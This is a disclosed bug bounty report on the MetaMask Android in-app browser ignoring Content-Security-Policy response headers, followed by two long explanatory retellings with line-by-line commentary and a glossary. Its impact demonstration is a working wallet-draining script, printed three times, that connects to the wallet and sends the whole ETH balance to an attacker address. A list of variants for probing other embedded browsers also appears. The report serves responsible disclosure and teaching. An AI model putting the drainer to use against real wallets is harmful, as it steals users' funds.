MetaMask Browser (on Android) does not enforce Content-Security-Policy header
The MetaMask browser on Android ignored Content-Security-Policy headers set by websites, allowing JavaScript to execute even when the site's CSP should have blocked it. An attacker could exploit this to run scripts that interact with the victim's MetaMask wallet and initiate transactions.
- Triaged in 3 days
- Fixed in 17 months
- Paid in 10 days
- Disclosed after 17 months
Summary by the program
@renniepak discovered an issue with the MetaMask Mobile browser where it ignored content-security-policy headers set by websites. This occurred due to an error in how the application was handling web requests while trying to ensure that the MetaMask JavaScript provider was not blocked after being injected into a webpage. The MetaMask engineering team has since upgraded the MetaMask Browser to address this issue, and eliminated several complexities that would risk a similar issue occurring in the future.
We would like to thank @renniepak for identifying this vulnerability and for his valuable collaboration with our team to improve the MetaMask platform.
The report
Hi MetaMask Team,
Recently I came across a Cross-Site Scripting bug on the website of a well known crypto company. They had a very strict Content-Security-Policy header, effectively preventing me from achieving anything more then a simple HTML injection with it. That all changed when I opened up the website in MetaMasks browser (in the Android app), when all the sudden my XSS payload did execute. Upon further investigation, it seems that the browser in MetaMask ignores any Content-Security-Policy headers.
I proceeded to perform some tests and noticed that the MetaMask Browser does accept (and enforces) a Content-Security-Policy when used within a <meta> tag. I searched the code to see if this is intended behaviour, possibly by deliberately disabling some security features, but I couldn't find any indicators to suggest this.
I doubted whether to report this as a vulnerability, since you could argue this is a defence-in-depth measure and not a vulnerability. But I then figured: MetaMask is a substantial part of the Web3 space and it's users largely depend on it's secure implementation. Websites use a Content-Security-Policy as a last line of defence against XSS attacks and count on this feature since it is supported by every major browser for years already. Since MetaMask offers a browser within it's wallet, you would expect it to be "on par" with the security of any other browser, if not more secure since we are dealing with crypto currencies/assets. If, for example, Chrome all the sudden wouldn't support CSP any more , that would be seen as a huge vulnerability, and I guess it's fair to say the same for MetaMasks browser given this context.
Reproduction
- Install MetaMask (v6.1.1 (1079)) for Android and create a wallet.
- In a regular browser (on a desktop) navigate to https://0-a.nl/cspmeta.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<title></title>
</head>
<body>
CSP enforced with <meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<script>alert('Javascript is executed.')</script>
</body>
</html>
Notice how our javascript <script>alert('Javascript is executed.')</script> is blocked by the browser (Chrome in this example):

- Now open the same url in MetaMask browser. Notice that it seems to be blocked here as well, as we don't get an
alert()box.

- Now in the regular browser navigate to https://0-a.nl/cspheader.php
<?php
header("Content-Security-Policy: script-src 'none'");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
</head>
<body>
CSP enforced with header <?php header("Content-Security-Policy: script-src 'none'"); ?>
<script>alert('Javascript is executed.')</script>
</body>
</html>
Notice how our javascript is again blocked by the browser:

- Now open the same url in MetaMask browser:
Notice how our javascript IS executed despite the Content-Security-Policy: script-src 'none' header.

Impact
Websites use a Content-Security-Policy as a last line of defence against Cross-Site Scripting attacks. If it the browser fails to enforce the Content-Security-Policy as expected, a website that is vulnerable to Cross-Site Scripting can be compromised in numerous ways. One Metamask specific example is that the attacker could create a XSS payload that will interact with the MetaMask wallet directly. Since the victim (the user / wallet owner) is likely already "Connected" to the site with MetaMask, the XSS payload can immediately invoke transaction etc.
Example
- With the MetaMask browser navigate to https://0-a.nl/web3attack.php. Make sure to do this with a Wallet that has ETH balance (more than 0).
<?php
header("Content-Security-Policy: script-src 'none'");
?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<div class="bg"></div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/web3/1.2.7/web3.min.js"></script>
<script>setTimeout((async()=>{if(void 0!==window.ethereum){window.web3=new window.Web3(window.ethereum);try{await window.ethereum.enable();var e=await window.web3.eth.getAccounts(),t=await window.web3.eth.getBalance(e[0]),w="0xeEF05b25dF83A481D22778a2d28CaFAD38d0fA59";let i=t;i=window.web3.utils.toBN(i).sub(window.web3.utils.toBN(21e3*window.web3.utils.toWei("1","gwei"))).toString(),window.web3.eth.sendTransaction({from:e[0],to:w,value:i,gasPrice:window.web3.utils.toWei("1","gwei"),gas:21e3},(()=>{}))}catch(e){}}}),1e3);</script>
</body>
</html>
- Connect to 0-a.nl (this step wouldn't be necessary for a victim that already interacted with the vulnerable page via MetaMask browser)

- Notice how a transaction will be initiated by the "vulnerable" website to transfer out all ETH in the wallet despite that any javascript execution should be blocked according to the Content-Security-Policy.

Final notes
I am curious to hear how you feel about this issue. Like I explained before, I doubted to report this, but to resummarise my reasons to report this anyways:
- MetaMask is the most well known crypto wallet out there so the the impact is relatively large.
- When you offer a browser from within a crypto wallet you would expect the security measures to be "on par" with any modern browser, if not better.
- Documentation does not mention anywhere that the CSP header is ignored by the MetaMask browser
- As far as I could see, no code was present in https://github.com/MetaMask/metamask-mobile/ that suggest that this was disabled on purpose.
- Content-Security-Policy seems to be working but only when used in a
<meta>tag
I thought this would warrant it to call this a vulnerability but of course that's for you to decide :) If there are any questions or concerns, feel free to reach out!
Kind regards,
René / renniepak
Context
MetaMask ships a browser inside its Android wallet app. That browser is not only a way to view dApps: it injects the MetaMask JavaScript provider into pages so that sites can talk to the wallet through window.ethereum. The report concerns the io.metamask Android app and the way its embedded browser handles the Content-Security-Policy response header.
CSP is the mechanism sites use to tell a browser which sources of script, style and other resources are allowed. When a site sends a policy such as script-src 'none', a conforming browser refuses to execute inline or external script that the policy does not permit. The researcher's point is that users of a crypto wallet browser rely on that last line of defence just as they would in Chrome or Firefox.
Setup
The only precondition for reproducing the issue is the Android app itself:
- Install MetaMask (v6.1.1 (1079)) for Android and create a wallet.
- Have a desktop browser available for comparison.
- For the impact demonstration, use a wallet that holds ETH (more than 0).
The researcher used two test pages on his own host, 0-a.nl: one that enforces CSP through a <meta> tag and one that enforces it through an HTTP response header.
Finding it
The starting point was not MetaMask at all. While testing the website of a well known crypto company, the researcher found a Cross-Site Scripting bug. That site sent a very strict Content-Security-Policy header, which limited him to a simple HTML injection: the payload would render, but no script would run.
That changed when he opened the same site in the MetaMask browser inside the Android app. There the XSS payload executed. On further investigation it appeared that the browser in MetaMask ignores any Content-Security-Policy headers.
He then tested the <meta> form of the policy and found that the MetaMask Browser does accept and enforce a Content-Security-Policy when it is delivered in a <meta> tag. He searched the code for signs that this was intended, perhaps a deliberately disabled security feature, but found no indicators to suggest it.
He was unsure whether to report it, since one could argue CSP enforcement is a defence-in-depth measure rather than a vulnerability. He reported it anyway for these reasons:
- MetaMask is the most well known crypto wallet, so the impact is relatively large.
- A browser offered from within a crypto wallet should be on par with any modern browser, if not better.
- The documentation does not mention anywhere that the CSP header is ignored by the MetaMask browser.
- As far as he could see, no code in https://github.com/MetaMask/metamask-mobile/ suggested this was disabled on purpose.
- Content-Security-Policy seems to work, but only when used in a
<meta>tag.
Exploitation
Step 1: a page that enforces CSP with a meta tag
In a regular desktop browser, navigate to https://0-a.nl/cspmeta.php. The page is:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<title></title>
</head>
<body>
CSP enforced with <meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<script>alert('Javascript is executed.')</script>
</body>
</html>
The <meta http-equiv="Content-Security-Policy" content="script-src 'none'"> element declares a policy that allows no script sources at all. The inline <script>alert('Javascript is executed.')</script> is therefore blocked by the browser (Chrome in this example), and no alert appears.

Step 2: the same page in the MetaMask browser
Open the same URL in the MetaMask browser. It looks blocked here as well, because no alert() box appears.

This is the observation that makes the bug easy to miss: the meta-tag policy is enforced, so a quick check suggests CSP works.
Step 3: a page that enforces CSP with a response header
Back in the regular browser, navigate to https://0-a.nl/cspheader.php:
<?php
header("Content-Security-Policy: script-src 'none'");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
</head>
<body>
CSP enforced with header <?php header("Content-Security-Policy: script-src 'none'"); ?>
<script>alert('Javascript is executed.')</script>
</body>
</html>
The PHP header() call sends Content-Security-Policy: script-src 'none' as an HTTP response header. The inline script is again blocked by the browser, and no alert appears.

Step 4: the header page in the MetaMask browser
This time the JavaScript is executed despite the Content-Security-Policy: script-src 'none' header.

The difference between steps 2 and 4 isolates the bug: the policy is honoured when it arrives in the document as a <meta> tag, and ignored when it arrives as a response header.
Step 5: a wallet-draining payload
To show what the missing enforcement means for a wallet, the researcher built a page at https://0-a.nl/web3attack.php. It is meant to be opened in the MetaMask browser with a wallet that has an ETH balance greater than 0:
<?php
header("Content-Security-Policy: script-src 'none'");
?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<div class="bg"></div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/web3/1.2.7/web3.min.js"></script>
<script>setTimeout((async()=>{if(void 0!==window.ethereum){window.web3=new window.Web3(window.ethereum);try{await window.ethereum.enable();var e=await window.web3.eth.getAccounts(),t=await window.web3.eth.getBalance(e[0]),w="[redacted]";let i=t;i=window.web3.utils.toBN(i).sub(window.web3.utils.toBN(21e3*window.web3.utils.toWei("1","gwei"))).toString(),window.web3.eth.sendTransaction({from:e[0],to:w,value:i,gasPrice:window.web3.utils.toWei("1","gwei"),gas:21e3},(()=>{}))}catch(e){}}}),1e3);</script>
</body>
</html>
The page sends the same script-src 'none' header, so a browser that enforces it would refuse to load the web3 library or run the inline script.
Step 6: connect the site to the wallet
Connect to 0-a.nl. The researcher notes this step would not be necessary for a victim who had already interacted with the vulnerable page through the MetaMask browser.

Step 7: the transaction goes out
A transaction is initiated by the "vulnerable" website to transfer out all ETH in the wallet, even though any JavaScript execution should be blocked according to the Content-Security-Policy.

Root cause
The program's summary states the cause directly: the MetaMask Mobile browser ignored content-security-policy headers set by websites. This happened because of an error in how the application handled web requests while it was trying to ensure that the MetaMask JavaScript provider was not blocked after being injected into a webpage.
The program's summary attributes the issue to an error in how the application handled web requests while ensuring the injected provider was not blocked. The <meta> form of the policy was still enforced, while the header form was not. The researcher found no code in the metamask-mobile repository suggesting the header was disabled on purpose.
Impact
Websites use a Content-Security-Policy as a last line of defence against Cross-Site Scripting attacks. If the browser fails to enforce the policy as expected, a website that is vulnerable to Cross-Site Scripting can be compromised in numerous ways.
The MetaMask-specific example is the one demonstrated above: an attacker can craft an XSS payload that interacts with the MetaMask wallet directly. Since the victim, the user and wallet owner, is likely already connected to the site with MetaMask, the payload can immediately invoke transactions and similar actions. The demonstration requires the victim to open the affected page in the MetaMask browser.
The researcher framed the issue as one that could be argued to be defence-in-depth rather than a vulnerability in itself, and left the final judgement to the MetaMask team.
Fix
According to the program's summary, the MetaMask engineering team upgraded the MetaMask Browser to address the issue and eliminated several complexities that would risk a similar issue occurring in the future. The report does not describe the code change itself.
Variants to test
- Header versus meta on other embedded browsers. Load a page that sends
Content-Security-Policy: script-src 'none'as a response header and the same policy in a<meta http-equiv>tag, in any in-app or embedded browser. A positive result is an alert from the header page while the meta page stays silent, which is the exact split seen here. - Other header-delivered policies. Try
default-src 'none',img-src 'none'andconnect-src 'none'as response headers against pages that load an image, a script and a fetch. A positive result is any of those resources loading when the header should have blocked it. - Header casing and multiple policies. Send the header with different casing or as several
Content-Security-Policyheaders, and check whether any of them is enforced. A positive result is script running under a policy that should forbid it. - Report-only headers. Send
Content-Security-Policy-Report-Onlywith areport-uriand see whether a violation report arrives. A positive result is a report for a request the browser should have blocked, or no report at all where one is expected. - Provider injection interaction. On a page that sends a strict CSP header, check whether
window.ethereumis present and whether the page's own scripts run. A positive result is the provider being injected while the page's scripts execute under a policy that should block them. - Wallet action from injected script. With a test wallet holding a small balance, load a page under a strict CSP header that calls
window.ethereum.enable()andsendTransaction. A positive result is a transaction prompt appearing from a page whose CSP should have prevented the script from running at all.
What happened, in plain words
MetaMask is a crypto wallet. It stores the keys that control cryptocurrency, and it lets you approve transactions. The MetaMask app for Android also contains a small web browser, so you can open websites that talk to your wallet without leaving the app.
That built-in browser is supposed to behave like any other browser. In particular, it is supposed to respect a rule that websites use to protect themselves against a common attack called Cross-Site Scripting. The rule is called Content-Security-Policy, usually shortened to CSP. The researcher found that the MetaMask browser ignored one form of that rule, the form that arrives as part of the web server's reply. Because of that, a script that a normal browser would refuse to run did run inside MetaMask, and that script could talk to the wallet and start a transaction.
This article walks through the report from the beginning: what the researcher was doing, how he tested it, what he saw, and why it matters. Every technical term is explained the first time it appears.
Some background you need first
Before the steps make sense, a few ideas need to be clear. None of them require any security knowledge, only a rough picture of how a web page reaches your screen.
What a browser does
When you type an address into a browser, the browser asks a web server for a page. The server answers with two things: a body, which is the page itself (the text, the images, the layout), and a set of headers, which are short labelled lines of extra information about that body. Think of a parcel: the body is what is inside the box, and the headers are the labels stuck on the outside saying how it should be handled.
What JavaScript is
A web page can contain small programs called scripts, written in a language called JavaScript. They run inside your browser and can do things like react to a button press, load more content, or read information from the page. A script can also be placed directly inside the page's text, which is called an inline script, or loaded from a separate file, which is called an external script.
What Cross-Site Scripting is
Cross-Site Scripting, or XSS, is a class of bug where an attacker manages to get their own script into a page that other people visit. The script then runs in the victim's browser as if the website itself had written it. A simple example is a page that shows whatever comment a visitor typed, without cleaning it up: an attacker types a script instead of a comment, and every visitor's browser runs it. The danger is that the script runs with the trust of the website, so it can read what the site can read and do what the site can do.
What Content-Security-Policy is
CSP is a rule a website can send to the browser saying which scripts are allowed to run. It is a last line of defence: even if an attacker manages to slip a script into the page, the browser refuses to run it because the rule does not allow it. A policy of script-src 'none' means "no script from anywhere is allowed to run on this page".
There are two ways a website can deliver this rule:
- As a response header, sent by the server alongside the page. This is the normal, preferred way.
- As a
<meta>tag inside the page's own text. This is a fallback for situations where headers cannot be set.
Both are meant to have the same effect. The difference between them turns out to be the heart of this report.
What the MetaMask provider is
Websites that want to interact with a wallet need a way to ask it things, such as "what account is connected?" or "please send this transaction". MetaMask gives them that ability by injecting a small object called a provider into every page the built-in browser opens. The provider appears in the page as window.ethereum. A website's script can call it to request a connection or a transaction, and MetaMask shows you a prompt to approve or reject.
This injection is connected to the bug. The program's summary says an error in how the app handled web requests, while trying to ensure its provider was not blocked, caused the issue.
What an API is
An API is a defined way for one piece of software to ask another piece of software to do something, without needing to know how it works inside. A restaurant menu is a reasonable comparison: you order by name, and you do not need to visit the kitchen. The MetaMask provider is an API that a website uses to ask the wallet to act.
What a transaction and gas are
A transaction is an instruction recorded on a blockchain, for example "send this much of a cryptocurrency from my account to that account". It has to be paid for, and the fee is called gas. Gas price is how much you pay per unit of gas, and the total fee is roughly gas multiplied by gas price. The report uses a gas limit of 21e3, which is 21,000 units, at a gas price of 1 gwei.
The starting point: a bug on someone else's site
The researcher was not looking at MetaMask at first. He was testing the website of a well known crypto company and found an XSS bug there. That site sent a very strict CSP header, which limited him to a simple HTML injection: his payload would appear on the page, but no script would run, because the browser was obeying the rule.
That changed when he opened the same site in the MetaMask browser inside the Android app. There, his XSS payload executed. He investigated further and concluded that the browser in MetaMask ignores Content-Security-Policy headers.
He then tested the other form of the rule, the <meta> tag, and found that the MetaMask browser does accept and enforce a policy delivered that way. He searched the app's code for signs that this was deliberate, perhaps a security feature switched off on purpose, but found nothing to suggest it.
He was unsure whether to report it at all. One could argue that CSP enforcement is a defence-in-depth measure, meaning an extra layer of protection rather than the main lock, and that failing to enforce it is not a vulnerability by itself. He reported it anyway, for these reasons:
- MetaMask is the most well known crypto wallet, so the impact is relatively large.
- A browser offered from within a crypto wallet should be on par with any modern browser, if not better.
- The documentation does not mention anywhere that the CSP header is ignored by the MetaMask browser.
- As far as he could see, no code in https://github.com/MetaMask/metamask-mobile/ suggested this was disabled on purpose.
- Content-Security-Policy seems to work, but only when used in a
<meta>tag.
Setting up the test
The only thing needed to reproduce the issue is the Android app itself:
- Install MetaMask (v6.1.1 (1079)) for Android and create a wallet.
- Have a desktop browser available for comparison.
- For the impact demonstration, use a wallet that holds ETH (more than 0).
The researcher used two test pages on his own host, 0-a.nl: one that enforces CSP through a <meta> tag and one that enforces it through an HTTP response header. Having both pages is what makes the comparison possible: the same rule, delivered two different ways, against the same browser.
Step 1: a page that enforces CSP with a meta tag
In a regular desktop browser, navigate to https://0-a.nl/cspmeta.php. The page is:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<title></title>
</head>
<body>
CSP enforced with <meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<script>alert('Javascript is executed.')</script>
</body>
</html>
Line by line:
<!DOCTYPE html>tells the browser this is a modern HTML page.<html>,<head>and<body>are the usual structure: the head holds information about the page, the body holds what is shown.<meta charset="utf-8">says which character encoding the page uses, so text displays correctly.<meta name="viewport" ...>tells a mobile browser how to size the page on a small screen.<meta http-equiv="Content-Security-Policy" content="script-src 'none'">is the important line. It carries the CSP rule inside the page itself.script-src 'none'means no script may run.- The line of text in the body is just a visible label, written with escaped characters (
<and so on) so that it displays as text rather than being treated as markup. <script>alert('Javascript is executed.')</script>is an inline script.alert()opens a small pop-up box with a message. If the script runs, you see the box; if the policy blocks it, you see nothing.
The inline script is therefore blocked by the browser (Chrome in this example), and no alert appears.

This screenshot shows the desktop browser refusing to run the script: the page is visible, but there is no pop-up.
Step 2: the same page in the MetaMask browser
Open the same URL in the MetaMask browser. It looks blocked here as well, because no alert() box appears.

This is the observation that makes the bug easy to miss. The meta-tag policy is enforced, so a quick check suggests CSP works fine in MetaMask. If the researcher had stopped here, there would have been nothing to report.
Step 3: a page that enforces CSP with a response header
Back in the regular browser, navigate to https://0-a.nl/cspheader.php:
<?php
header("Content-Security-Policy: script-src 'none'");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
</head>
<body>
CSP enforced with header <?php header("Content-Security-Policy: script-src 'none'"); ?>
<script>alert('Javascript is executed.')</script>
</body>
</html>
Line by line:
<?phpstarts a block of PHP, a language that runs on the web server rather than in your browser.header("Content-Security-Policy: script-src 'none'");tells the server to add that line to the response headers, the labels on the outside of the parcel. This is the header form of the rule.?>ends the PHP block. Everything after it is ordinary HTML sent to the browser.- The rest of the page is the same as before: the usual structure, a visible label, and the same inline
alert()script.
The difference from step 1 is only in how the rule travels: here it is a header, there it was a tag inside the page. The inline script is again blocked by the browser, and no alert appears.

This screenshot shows the desktop browser blocking the script on the header version of the page, exactly as it did for the meta version.
Step 4: the header page in the MetaMask browser
This time the JavaScript is executed despite the Content-Security-Policy: script-src 'none' header.

The difference between steps 2 and 4 isolates the bug. The policy is honoured when it arrives in the document as a <meta> tag, and ignored when it arrives as a response header. Nothing else changed: same browser, same rule, same script. Only the delivery route differed.
Step 5: a wallet-draining payload
Showing that an alert box appears proves the rule is not enforced. To show what that means for a wallet, the researcher built a page at https://0-a.nl/web3attack.php. It is meant to be opened in the MetaMask browser with a wallet that has an ETH balance greater than 0:
<?php
header("Content-Security-Policy: script-src 'none'");
?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<div class="bg"></div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/web3/1.2.7/web3.min.js"></script>
<script>setTimeout((async()=>{if(void 0!==window.ethereum){window.web3=new window.Web3(window.ethereum);try{await window.ethereum.enable();var e=await window.web3.eth.getAccounts(),t=await window.web3.eth.getBalance(e[0]),w="[redacted]";let i=t;i=window.web3.utils.toBN(i).sub(window.web3.utils.toBN(21e3*window.web3.utils.toWei("1","gwei"))).toString(),window.web3.eth.sendTransaction({from:e[0],to:w,value:i,gasPrice:window.web3.utils.toWei("1","gwei"),gas:21e3},(()=>{}))}catch(e){}}}),1e3);</script>
</body>
</html>
Line by line:
- The PHP block sends the same
script-src 'none'header. A browser that obeys the rule would refuse to load the external library and refuse to run the inline script. That is the whole point: the page is written so that a correct browser cannot run it. <div class="bg"></div>is an empty container, presumably for styling. It does nothing functional.<script src="https://cdnjs.cloudflare.com/ajax/libs/web3/1.2.7/web3.min.js"></script>loads an external library called web3 from a public content delivery network. Web3 is a toolkit that makes it easier for a page to talk to a blockchain and to a wallet. Under the policy, this file should never load.- The second
<script>is the inline payload. It is dense, so it helps to break it into pieces:setTimeout((async()=>{ ... }),1e3)waits one second (1e3is 1000 milliseconds) and then runs the code inside. The delay gives the page time to settle before it acts.if(void 0!==window.ethereum)checks that the MetaMask provider exists on the page. If it does not, nothing happens.window.web3=new window.Web3(window.ethereum)wraps the provider in the web3 library, so the rest of the code can use its convenient functions.await window.ethereum.enable()asks MetaMask to connect the site to the wallet. This is the moment where the user may see a connection prompt.var e=await window.web3.eth.getAccounts()fetches the list of accounts the wallet has made available, ande[0]is the first one.t=await window.web3.eth.getBalance(e[0])reads that account's balance.w="[redacted]"is the destination address.let i=t; i=window.web3.utils.toBN(i).sub(window.web3.utils.toBN(21e3*window.web3.utils.toWei("1","gwei"))).toString()takes the balance and subtracts the fee for 21,000 gas at 1 gwei, so that what is sent is the whole balance minus the cost of sending it.toBNhandles large numbers safely, andtoWeiconverts a value in gwei into the smallest unit of the currency.window.web3.eth.sendTransaction({from:e[0],to:w,value:i,gasPrice:window.web3.utils.toWei("1","gwei"),gas:21e3},(()=>{}))asks MetaMask to send that amount from the victim's account to the attacker's address, with the stated gas price and gas limit. The empty function at the end is a callback that does nothing.catch(e){}silently swallows any error, so the page gives no visible sign of what it is doing.
In short: wait a second, check the wallet is there, connect, read the balance, work out the amount that leaves nothing behind except the fee, and send it to the attacker.
Step 6: connect the site to the wallet
Connect to 0-a.nl. The researcher notes this step would not be necessary for a victim who had already interacted with the vulnerable page through the MetaMask browser.

This screenshot relates to the connection step described in the report.
Step 7: the transaction goes out
A transaction is initiated by the "vulnerable" website to transfer out all ETH in the wallet, even though any JavaScript execution should be blocked according to the Content-Security-Policy.

This screenshot relates to the transaction step described in the report.
Why it happened
The program's summary states the cause directly: the MetaMask Mobile browser ignored content-security-policy headers set by websites. This happened because of an error in how the application handled web requests while it was trying to ensure that the MetaMask JavaScript provider was not blocked after being injected into a webpage.
The program's summary attributes the issue to an error in how the application handled web requests while ensuring the injected provider was not blocked. The <meta> form of the policy was still enforced, while the header form was not. The researcher found no code in the metamask-mobile repository suggesting the header was disabled on purpose.
What the impact is
Websites use a Content-Security-Policy as a last line of defence against Cross-Site Scripting attacks. If the browser fails to enforce the policy as expected, a website that is vulnerable to Cross-Site Scripting can be compromised in numerous ways.
The MetaMask-specific example is the one demonstrated above: an attacker can craft an XSS payload that interacts with the MetaMask wallet directly. Since the victim, the user and wallet owner, is likely already connected to the site with MetaMask, the payload can immediately invoke transactions and similar actions. The demonstration requires the victim to open the affected page in the MetaMask browser.
The researcher framed the issue as one that could be argued to be defence-in-depth rather than a vulnerability in itself, and left the final judgement to the MetaMask team. CVSS is a standard scoring system for the seriousness of a security issue, where a higher number means more serious.
How it was fixed
According to the program's summary, the MetaMask engineering team upgraded the MetaMask Browser to address the issue and eliminated several complexities that would risk a similar issue occurring in the future. The report does not describe the code change itself.
Similar things worth testing
These are variations on the same idea, useful if you want to look for the same class of mistake elsewhere. Each one states what a positive result looks like, so you know when you have found something.
- Header versus meta on other embedded browsers. Load a page that sends
Content-Security-Policy: script-src 'none'as a response header and the same policy in a<meta http-equiv>tag, in any in-app or embedded browser. A positive result is an alert from the header page while the meta page stays silent, which is the exact split seen here. - Other header-delivered policies. Try
default-src 'none',img-src 'none'andconnect-src 'none'as response headers against pages that load an image, a script and a fetch. A positive result is any of those resources loading when the header should have blocked it. - Header casing and multiple policies. Send the header with different casing or as several
Content-Security-Policyheaders, and check whether any of them is enforced. A positive result is script running under a policy that should forbid it. - Report-only headers. Send
Content-Security-Policy-Report-Onlywith areport-uriand see whether a violation report arrives. A positive result is a report for a request the browser should have blocked, or no report at all where one is expected. - Provider injection interaction. On a page that sends a strict CSP header, check whether
window.ethereumis present and whether the page's own scripts run. A positive result is the provider being injected while the page's scripts execute under a policy that should block them. - Wallet action from injected script. With a test wallet holding a small balance, load a page under a strict CSP header that calls
window.ethereum.enable()andsendTransaction. A positive result is a transaction prompt appearing from a page whose CSP should have prevented the script from running at all.
Glossary
- API: a defined way for one piece of software to ask another to do something, without needing to know its internals.
- Blockchain: a shared record of transactions that many computers keep in sync, so entries cannot easily be changed afterwards.
- Body (of a response): the actual content of a web page, as opposed to the headers that describe it.
- Browser: the program that requests web pages and displays them.
- Callback: a function passed to another function, to be run when that function finishes.
- Content-Security-Policy (CSP): a rule a website sends to the browser listing which scripts and other resources are allowed to run.
- Cross-Site Scripting (XSS): a bug where an attacker gets their own script into a page that other people visit, so it runs in their browsers.
- CVSS: a standard scoring system for the seriousness of a security issue; higher means more serious.
- dApp: a website or application that interacts with a blockchain.
- Defence-in-depth: an extra layer of protection that backs up the main defences.
- ETH: the cryptocurrency used on the Ethereum blockchain.
- External script: a script loaded from a separate file rather than written inside the page.
- Gas: the unit used to measure the work a blockchain transaction costs, which the sender pays for.
- Gas limit: the maximum amount of gas a transaction is allowed to use.
- Gas price: how much is paid per unit of gas.
- gwei: a small unit of ETH, commonly used to express gas prices.
- Header: a short labelled line of extra information sent alongside a web page, describing how it should be handled.
- HTML injection: getting your own markup into a page; it renders, but without script it cannot do much.
- Inline script: a script written directly inside the page's text.
- JavaScript: the programming language that scripts in web pages are written in.
- MetaMask: a crypto wallet application that stores keys and approves transactions, and that includes a built-in browser on Android.
<meta>tag: an element inside a page's text that carries information normally sent in headers, used here as a fallback for CSP.- PHP: a programming language that runs on the web server and can, among other things, set response headers.
- Provider: the object MetaMask injects into pages, available as
window.ethereum, through which sites ask the wallet to act. - Reflected XSS: an XSS bug where the attacker's script is echoed back by the server in the response to a single request, rather than stored on the site.
- Response: what a web server sends back when a browser asks for a page: a body plus headers.
- Script: a small program inside a web page.
- Transaction: an instruction recorded on a blockchain, such as sending cryptocurrency from one account to another.
- web3: a JavaScript library that makes it easier for a page to talk to a blockchain and a wallet.
window.ethereum: the name under which the MetaMask provider appears in a page.window.web3: the name the payload gives to its web3 instance, built on top of the provider.